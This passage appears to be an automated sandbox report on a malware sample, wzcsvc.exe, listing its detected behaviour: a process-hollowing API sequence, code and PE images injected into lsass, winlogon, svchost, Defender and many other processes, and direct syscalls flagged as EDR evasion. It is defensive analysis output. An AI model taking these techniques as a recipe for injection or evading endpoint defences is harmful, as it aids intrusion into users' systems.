Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21681980000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\WerFault.exe base: 265B3BD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13DE26F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BE3D690000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Program Files\Windows Defender\MpCmdRun.exe base: 25731DD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 19417AC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1B0FE9F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 1B0FEA20000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\wzcsvc.exe

Code function: 4_2_00007FF6B5AD1C80 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

4_2_00007FF6B5AD1C80

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 7D1B2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\lsass.exe EIP: 2DD22750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4B8F2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\dwm.exe EIP: F1EA2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 42AE2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 56A2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7AD42750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4DA62750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 2542750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EBF92750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F1602750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6A172750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 26992750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D5C2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: AB962750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9B2A2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 84182750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 78732750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5FCF2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 25D92750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A5D82750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F41C2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 25342750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: FC902750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F3532750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 26282750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 31E62750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 137C2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 3A3B2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: E4192750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 1452750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 68FA2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 951C2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 63512750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4E122750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 98582750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 3C5C2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: CFCF2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 8E332750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: A2952750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 340C2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 53792750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 9A0E2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 30B32750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 35DA2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 792F2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: E9172750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 59542750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 1A9A2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 1352750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: D2532750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 532750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 8702750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 44DD2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: B00D2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 9A262750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: B71A2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 82022750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 706E2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 6A4A2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 43F2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 15D32750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: AD5E2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 570C2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: E5262750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 90B2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: B06E2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 9B7A2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: DAEE2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 4F462750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 94902750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 88432750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: E0972750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: E2F62750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 5A1B2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 6F302750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 1CE12750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 81982750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\WerFault.exe EIP: B3BD2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E26F2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 3D692750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 31DD2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: 17AC2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: FE9F2750	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Thread created: unknown EIP: FEA22750	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\wzcsvc.exe	NtAllocateVirtualMemory: Direct from: 0x7FFB2CEA4B5E	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtProtectVirtualMemory: Direct from: 0x7FF6B5AD20DC	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6B5AD164F	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtAllocateVirtualMemory: Direct from: 0x7FF6B5AD140D	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtSetSecurityObject: Direct from: 0x7FF6B5AD23FC	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtMapViewOfSection: Direct from: 0x7FF6B5AD2023	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtFsControlFile: Direct from: 0x7FF6B5AD2200	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtCreateKey: Direct from: 0x7FF6B5AD23BC	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	NtEnumerateValueKey: Indirect: 0x2616F592922	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtAdjustPrivilegesToken: Direct from: 0x7FF6B5AD2306	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtReadVirtualMemory: Direct from: 0x7FF6B5AD1FA6	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtCreateThreadEx: Direct from: 0x7FF6B5AD2507	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtDelayExecution: Direct from: 0x7FF6B5AD2BEC	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtQuerySystemInformation: Direct from: 0x7FF6B5AD2B97	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtQueryInformationProcess: Direct from: 0x7FF6B5AD1215	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtCreateNamedPipeFile: Direct from: 0x7FF6B5AD1C65	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtQuerySystemInformation: Direct from: 0x7FF6B5AD1555	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtClose: Direct from: 0x7FF6B5AD14AA
Source: C:\Users\user\Desktop\wzcsvc.exe	NtCreateKey: Direct from: 0x7FF6B5AD243C	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtCreateThreadEx: Direct from: 0x7FF6B5AD1454	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtQueryInformationProcess: Direct from: 0x7FF6B5AD1177	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtWriteVirtualMemory: Direct from: 0x7FF6B5AD1430	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtReadVirtualMemory: Direct from: 0x7FF6B5AD15A8	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtClose: Direct from: 0x7FF6B5AD18F9
Source: C:\Users\user\Desktop\wzcsvc.exe	NtClose: Direct from: 0x7FF6B5AD161B
Source: C:\Users\user\Desktop\wzcsvc.exe	NtReadFile: Direct from: 0x7FF6B5AD2C4B	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtFsControlFile: Direct from: 0x7FF6B5AD2C8F	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	NtEnumerateValueKey: Indirect: 0x2616F592951	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtProtectVirtualMemory: Direct from: 0x7FF6B5AD20AC	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtQueryInformationToken: Direct from: 0x7FF6B5AD2079	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtClose: Direct from: 0x7FF6B5AD2477
Source: C:\Users\user\Desktop\wzcsvc.exe	NtQueryInformationToken: Direct from: 0x7FF6B5AD22CE	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtAllocateVirtualMemory: Direct from: 0x23EB69F27F1	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtCreateFile: Direct from: 0x7FF6B5AD1FD6	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtClose: Direct from: 0x7FF6B5AD2319
Source: C:\Users\user\Desktop\wzcsvc.exe	NtClose: Direct from: 0x7FF6B5AD20E5
Source: C:\Users\user\Desktop\wzcsvc.exe	NtReadVirtualMemory: Direct from: 0x7FF6B5AD15DF	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtSetValueKey: Direct from: 0x7FF6B5AD246D	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtProtectVirtualMemory: Direct from: 0x7FFB2CE826A1	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtQueryValueKey: Direct from: 0x7FF6B5AD232D	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtCreateThreadEx: Direct from: 0x7FF6B5AD24A2	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtCreateThreadEx: Direct from: 0x7FF6B5AD24E6	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtFsControlFile: Direct from: 0x7FF6B5AD2C28	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	NtDelayExecution: Direct from: 0x7FF6B5AD250F	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1EA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287AD40000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1495FCF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125D90000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 297A5D80000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0F41C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C325340000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AEFC900000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F3530000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D326280000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 16131E60000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AE137C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C93A3B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2E4190000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1450000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB68FA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 265951C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C263510000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E120000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 18198580000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF3C5C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 17ACFCF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E8E330000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5A2950000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD340C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B653790000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B19A0E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 24730B30000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 15F35DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\sihost.exe base: 200792F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 18CE9170000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D959540000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 18F1A9A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF01350000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 221D2530000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D400530000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\explorer.exe base: 8700000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 27844DD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 258B00D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA9A260000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1BFB71A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26982020000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 185706E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1496A4A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\dllhost.exe base: 190043F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 16215D30000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 159AD5E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 221570C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8E5260000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 189090B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24BB06E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BD9B7A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 212DAEE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\conhost.exe base: 1EF4F460000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E594900000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 18C88430000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 18FE0970000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FDE2F60000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2675A1B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Users\user\Desktop\r8k29DBraE.exe base: 2616F300000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1CE10000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 21681980000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: unknown base: 2616D010000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3BD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE26F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE3D690000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 25731DD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\conhost.exe base: 19417AC0000 value starts with: 4D5A	Jump to behavior
